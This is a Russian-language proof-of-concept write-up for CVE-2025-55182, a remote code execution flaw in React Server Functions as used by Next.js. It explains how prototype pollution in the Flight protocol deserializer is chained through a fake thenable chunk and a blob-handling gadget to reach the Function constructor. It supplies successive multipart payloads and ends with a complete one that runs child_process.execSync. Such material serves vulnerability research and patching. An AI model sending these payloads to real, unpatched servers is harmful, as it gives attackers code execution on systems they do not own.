
PoC-эксплойт для CVE-2025-55182, демонстрирующий удалённое выполнение кода в React Server Functions через загрязнение прототипа и специально сформированный payload протокола Flight.
Эта уязвимость позволяет выполнять удалённый код (RCE) в серверных функциях React (Server Functions), например, в том виде, в котором их предлагает Next.js, из-за небезопасных ссылок на прототипы.
Я не эксперт в React или Next.js, поэтому относитесь ко всей информации здесь с долей скепсиса.
React предлагает серверные функции (Server Functions)[^1], которые можно рассматривать как своего рода RPC через HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или для выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.
React использует нечто под названием React Flight Protocol[^2] для сериализации значений, передаваемых серверным функциям.
Клиент передаёт «чанки» на сервер, например через данные формы:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Как показано выше, они могут содержать ссылки друг на друга. Приведённая выше полезная нагрузка десериализуется на сервере в следующее:
{ object: 'fruit', name: 'cherry' }
Сам формат несколько сложнее и допускает более сложную сериализацию и десериализацию, но этого достаточно для базового понимания самой уязвимости.
Вплоть до этого коммита[^3] при обходе чанков в процессе разрешения ссылок, например при получении fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрошенный ключ на объекте. Это позволяло нам получить прототип объекта[^4].
Это можно продемонстрировать такой полезной нагрузкой:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Которая десериализуется в конструктор функции[^5]:
[Function: Function]
Когда чанк с ID 0 — не массив, а объект, мы можем установить ключ then в конструктор функции. Затем этот объект возвращается функцией decodeReplyFromBusboy и ожидается Next.js через await:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Когда она возвращает thenable, await в вызывающем коде вызовет его. Именно это происходит со следующей полезной нагрузкой:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Что приводит к такой ошибке:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Ошибка выглядит так, потому что V8 вызывает функцию, ожидаемую через await, с внутренними функциями resolve и reject, которые при вызове toString сериализуются во что-то вроде:
function () { [native code] }
Поскольку мы можем без труда получить конструктор Function, очевидный путь — найти call-гаджет, который вызывает конструктор с управляемым пользователем значением (то есть с кодом функции в виде строки), а затем вызывает возвращённую функцию.
Существует несколько мест, которые могут вызывать конструктор функции, например resolveServerReference, где id — управляемый объект, а lastIndexOf можно переопределить так, чтобы он возвращал управляемую пользователем строку (например, через Array.prototype.join), а slice можно переопределить на конструктор функции. Однако это место не работает, поскольку второй вызов .slice() передаёт число в качестве первого аргумента, которое, насколько мне известно, конструктор функции никогда не сможет обработать.
Здесь на помощь приходит блестящая идея от maple3142[^6]. Когда getChunk берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок, этот самый чанк может разрешиться в сконструированный «поддельный чанк».
Мы можем сослаться на сконструированный чанк 0 из чанка 1 с помощью синтаксиса $@, который возвращает «сырой» чанк, а не его разрешённое значение:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Совмещая это с нашим переопределением then из примера выше, мы можем сконструировать нечто вроде:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Здесь чанк 0 переопределяет собственный .then() на .then() своего же сырого представления чанка. Проще говоря, мы переопределяем собственный .then() на Chunk.prototype.then, который существует, поскольку объекты Chunk являются thenable:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
С приведённой выше полезной нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.
Как показано выше, когда .status нашего поддельного чанка равен resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Мы попадаем в initializeModelChunk. Здесь .value разбирается как JSON, а затем на возвращённом объекте разрешаются ссылки с использованием «внешнего» контекста наших чанков с ID 0 и 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Внутри этого мы получаем второй проход вычислений с несколько большим количеством значений, к которым у нас есть доступ, благодаря тому что внешний контекст уже разрешён.
В обработке blob-данных с префиксом $B во flight-протоколе есть call-гаджет:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Используя специальное поле _response, мы управляем свойством response поддельного чанка:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
С помощью этого мы можем сконструировать объект с поддельными свойствами ._formData и ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Свойство .reason необходимо добавить, чтобы обойти сбой при вызове toString в `initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Указывая ._formData на конструктор функции, а ._prefix на наш код, мы получаем гаджет вызова конструктора функции в десериализации blob-данных:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
Затем наша сконструированная функция возвращается функцией parseModelString как метод .then() поддельного чанка, который также ожидается через await, поскольку всё это происходит в единой цепочке разрешения промисов. Таким образом, возвращая thenable, наша сконструированная функция вызывается. Это и есть требуемый call-гаджет, упомянутый выше.
Собирая всё это воедино с реальной RCE-полезной нагрузкой, мы получаем примерно следующее:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}